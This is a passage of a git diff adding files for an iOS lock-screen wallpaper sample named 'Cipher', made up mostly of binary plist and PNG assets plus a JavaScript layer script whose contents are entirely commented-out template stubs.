mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/com.apple.posterkit.provider.identifierURL.suggestionMetadata.plist b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/com.apple.posterkit.provider.identifierURL.suggestionMetadata.plist new file mode 100644 index 0000000..f18b78e Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/com.apple.posterkit.provider.identifierURL.suggestionMetadata.plist differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/com.apple.posterkit.role.identifier b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/com.apple.posterkit.role.identifier new file mode 100644 index 0000000..b92284b --- /dev/null +++ b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/com.apple.posterkit.role.identifier @@ -0,0 +1 @@ +PRPosterRoleLockScreen \ No newline at end of file diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/providerInfo.plist b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/providerInfo.plist new file mode 100644 index 0000000..2caaa71 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/providerInfo.plist differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/RuntimeSnapshotMetadata-home.plist b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/RuntimeSnapshotMetadata-home.plist new file mode 100644 index 0000000..d89c96e Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/RuntimeSnapshotMetadata-home.plist differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/RuntimeSnapshotMetadata-lock.plist b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/RuntimeSnapshotMetadata-lock.plist new file mode 100644 index 0000000..062b26b Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/RuntimeSnapshotMetadata-lock.plist differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/com.apple.posterkit.provider.instance.complicationLayout.plist b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/com.apple.posterkit.provider.instance.complicationLayout.plist new file mode 100644 index 0000000..e1ae196 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/com.apple.posterkit.provider.instance.complicationLayout.plist differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/com.apple.posterkit.provider.instance.titleStyleConfiguration.plist b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/com.apple.posterkit.provider.instance.titleStyleConfiguration.plist new file mode 100644 index 0000000..3767fd3 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/com.apple.posterkit.provider.instance.titleStyleConfiguration.plist differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/.com.apple.posterkit.provider.contents.configurableOptions.plist b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/.com.apple.posterkit.provider.contents.configurableOptions.plist new file mode 100644 index 0000000..2c7b15a Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/.com.apple.posterkit.provider.contents.configurableOptions.plist differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assetManifest.caml b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assetManifest.caml new file mode 100644 index 0000000..0c1203c --- /dev/null +++ b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assetManifest.caml @@ -0,0 +1,7 @@ + + + + + + + diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/1 1.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/1 1.png new file mode 100644 index 0000000..0e7a208 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/1 1.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/1.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/1.png new file mode 100644 index 0000000..0e7a208 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/1.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/2.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/2.png new file mode 100644 index 0000000..3d9f841 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/2.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/3.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/3.png new file mode 100644 index 0000000..fce6dcd Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/3.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/B 1.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/B 1.png new file mode 100644 index 0000000..ab7a8e2 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/B 1.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/B.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/B.png new file mode 100644 index 0000000..ab7a8e2 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/B.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/P 1.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/P 1.png new file mode 100644 index 0000000..d07d221 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/P 1.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/P 2.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/P 2.png new file mode 100644 index 0000000..d07d221 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/P 2.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/P.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/P.png new file mode 100644 index 0000000..d07d221 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/P.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/Root_Layer.js b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/Root_Layer.js new file mode 100644 index 0000000..a659d7c --- /dev/null +++ b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/Root_Layer.js @@ -0,0 +1,119 @@ +'use strict'; + +/* + Built-in variables (don't uncomment, for documentation only). + + var layer; -- this script's layer + var document; -- this script's document + var system; -- Properties about the current system. Local to each context + (version, build, productType, model, platform, appVersion) + var instance; -- ScriptObject (Properties: inspector) + + Script initialization functions: + + init(): Initialize variables and state. This will be called when a script is loaded + or updated. Do not depend on the ordering. Do not assume that all other scripts + have been initialized. + + ready(): Called after all scripts are initialized. If a single script is updated, + only that script will have ready() called. Do not depend on the ordering. + + 'Strict' mode is on by default: + https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode + */ + +// function init() { +// } + +// function ready() { +// } + +// function eventHandler(event) { +// } + +// function layoutSublayers() { +// } + +// Called on display refresh. Use 'link.duration' for time passed since the previous frame. +// function updateForDisplay(link) { +// } + +// function signalHandler(signalName) { +// } + +// function drawLayer(ctx) { +// } + +// ------------ +// Inspector UI +// ------------ + +// (Optional) Declares a specially named JS variable for the title of the inspector tab. +// var inspectorTabTitle = "My Title"; + + +/* (Optional for modules) Declares a function to update the UI. The return value should be an array + of InspectorItem objects. See InspectorItem for details. Use the instance.inspector.reloadView() + to have this function called when the UI should be updated. + * inspector - The inspector view shown in the sidebar + * proposedInspectorItems - A list of items (if any) the inspector will use by default. + You can modify and return any or none of the items. */ + +// function updateInspectorView(inspector, proposedInspectorItems) { +// } + + +// (Optional) Declares a property getting function that returns a value for a key +// * key - The key for the value to return + +// function getPropertyValue(key) { +// } + + +// (Optional) Declares a property setting function that stores the value for the key +// * key - The key for the value to set +// * value - The new value for the property named 'key' + +// function setPropertyValue(key, value) { +// } + + +// (Optional) Declares a function to be notified after a property value has changed in the inspector. +// * key - The key for the value that changed. + +// function propertyValueChanged(key) { +// } + +// ---------------- +// Property Storage +// ---------------- + +// If you use the default storage for your properties, you can access them using: +// `instance.properties.` +// This works for both standalone scrips and module scripts. + + +// (Optional) Declare a `properties` object to provide a custom place to store the values for your script. + +// let properties = { +// "myValue": 10 +// }; + + +// (Optional) Declares a function to initialize your stored properties when the document is reopened or the script is reinitialized +// * key - The name of the property +// * value - The property value associated with the name `key` + +// function initializePropertyValue(key, value) { +// properties[key] = value; +// } + + +// (Optional) Declares a function to store properties when the document is saved. +// * storage - The ScriptStorage object that will persist its values when the document is saved. + +// function storePropertyValues(storage) { +// for (const [key, value] of Object.entries(properties)) { +// storage.setItem(key, value) +// } +// } diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/Untitled 2.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/Untitled 2.png new file mode 100644 index 0000000..49fa7a6 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/Untitled 2.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/barcode 3.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/barcode 3.png new file mode 100644 index 0000000..e7a5b3e Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/barcode 3.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/bhs bg.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/bhs bg.png new file mode 100644 index 0000000..0d0fdbd Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/bhs bg.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/bhs.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/bhs.png new file mode 100644 index 0000000..47717c9 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/bhs.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/black square.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/black square.png new file mode 100644 index 0000000..1f9bd8c Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/black square.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe1.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe1.png new file mode 100644 index 0000000..ecab7cd Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe1.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe2.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe2.png new file mode 100644 index 0000000..5cd5c1e Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe2.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe3.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe3.png new file mode 100644 index 0000000..e209551 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe3.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe4.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe4.png new file mode 100644 index 0000000..b303882 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe4.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe5.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe5.png new file mode 100644 index 0000000..b6dc21c Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe5.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe6.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe6.png new file mode 100644 index 0000000..81325ab Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe6.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe7.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe7.png new file mode 100644 index 0000000..215421c Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe7.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/dot 1.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/dot 1.png new file mode 100644 index 0000000..fcb2798 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/dot 1.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/dot 2.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/dot 2.png new file mode 100644 index 0000000..fcb2798 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/dot 2.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/dot dot 1.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/dot dot 1.png new file mode 100644 index 0000000..af1265c Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by 